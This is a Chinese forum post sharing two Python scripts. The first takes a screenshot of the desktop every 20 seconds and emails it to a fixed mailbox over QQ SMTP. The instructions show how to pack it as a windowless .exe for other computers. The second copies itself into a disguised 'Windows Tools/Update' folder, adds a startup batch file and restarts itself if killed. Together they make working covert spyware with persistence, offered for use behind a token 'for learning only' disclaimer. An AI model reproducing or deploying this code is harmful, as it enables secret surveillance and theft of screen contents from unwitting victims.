本帖最后由 suyinchuo 于 2019-9-24 12:25 编辑
话不多说,先上代码!![Python] 纯文本查看 复制代码
# -*- coding: utf-8 -*-
import getpass
import time
import win32gui
import win32ui
import win32con
import win32api
while True:
# 获取桌面
hdesktop = win32gui.GetDesktopWindow()
# 分辨率适应
width = win32api.GetSystemMetrics(win32con.SM_CXVIRTUALSCREEN)
height = win32api.GetSystemMetrics(win32con.SM_CYVIRTUALSCREEN)
left = win32api.GetSystemMetrics(win32con.SM_XVIRTUALSCREEN)
top = win32api.GetSystemMetrics(win32con.SM_YVIRTUALSCREEN)
# 创建设备描述表
desktop_dc = win32gui.GetWindowDC(hdesktop)
img_dc = win32ui.CreateDCFromHandle(desktop_dc)
# 创建一个内存设备描述表
mem_dc = img_dc.CreateCompatibleDC()
# 创建位图对象
screenshot = win32ui.CreateBitmap()
screenshot.CreateCompatibleBitmap(img_dc, width, height)
mem_dc.SelectObject(screenshot)
# 截图至内存设备描述表
mem_dc.BitBlt((0, 0), (width, height), img_dc, (left, top), win32con.SRCCOPY)
# 将截图保存到文件中
screenshot.SaveBitmapFile(mem_dc, 'screenshot.bmp')
# 内存释放
mem_dc.DeleteDC()
win32gui.DeleteObject(screenshot.GetHandle())
import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
from email.mime.application import MIMEApplication
user_name = getpass.getuser()
receiver = "xxx@xxx.com" # 接收邮件账户
sender = "xxx@xxx.com" # 发送邮件账户
pwd = "djrcixkyzapkdggb" # smtp密钥 具体可以到QQ邮箱获取
msg = MIMEMultipart()
msg["Subject"] = "%s的实时截屏!" % user_name # 邮件的主题
msg["From"] = sender
msg["To"] = receiver
part = MIMEText("请查收来自%s的实时截屏!" % user_name) # 邮件的正文
msg.attach(part)
# jpg类型附件
part = MIMEApplication(open('screenshot.bmp', 'rb').read()) # 'screenshot.bmp'和该.py文件在同一个文件夹下
part.add_header('Content-Disposition', 'attachment', filename="screenshot.jpg")
msg.attach(part)
try:
s = smtplib.SMTP("smtp.qq.com", timeout=30) # 连接smtp邮件服务器,端口默认是25
s.ehlo()
s.starttls()
s.login(sender, pwd) # 登陆服务器
s.sendmail(sender, receiver, msg.as_string()) # 发送邮件
s.close()
print('邮件发送成功!')
except smtplib.SMTPException:
print('邮件发送失败!')
# 睡眠25秒
time.sleep(20)
使用教程:
1.环境为python3.5+ 理论上python3+即可
2.需要安装win32模块:pip install pywin32
3.如果提示模块找不到可以用pip安装
4.receiver为接受邮件的邮箱地址,sender为发送邮件的邮箱地址,pwd为smtp密钥具体可百度
5.time.sleep()内时间可以自己设置
6.打包使用pyinstaller库,命令:pip install pyinstaller
7.使用pyinstaller -F -w filename.py 命令 可以进行打包为.exe,且包含全部依赖,放在别的电脑上无需安装python就可以使用!
温馨提示:
此程序仅用于学习交流!切勿用于危害国家法律法规的行为!
欢迎评分打赏~谢谢各位!!
附上一个监控进程和创建开机自启命令的小程序
[Python] 纯文本查看 复制代码 import getpass
import random
import shutil
import threading
import time
import os
import subprocess
def get_process_count(imagename):
p = os.popen('tasklist /FI "IMAGENAME eq %s"' % imagename)
return p.read().count(imagename)
def timer_start():
t = threading.Timer(1, watch_func, ("is running...",))
t.start()
def watch_func(msg):
if get_process_count('second.exe') == 0:
subprocess.Popen([r'./second/second.exe'])
timer_start()
if __name__ == '__main__':
fu = random.randint(10000, 99999)
zi = random.randint(10000, 99999)
a = os.getcwd()
new_path = 'C://ProgramData//Windows Tools//Windows %s//Update %s' % (fu, zi)
try:
shutil.copytree(a, new_path)
except Exception as e:
print(e)
user_name = getpass.getuser() # 获取当前用户名
file = os.path.basename(__file__)[:-3]+'.exe'
with open(r'C:\Users\%s\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\12306.bat' % user_name, 'w') as f:
f.write('cd %s\n%s\npause' % (new_path, file))
timer_start()
while True:
time.sleep(1)
|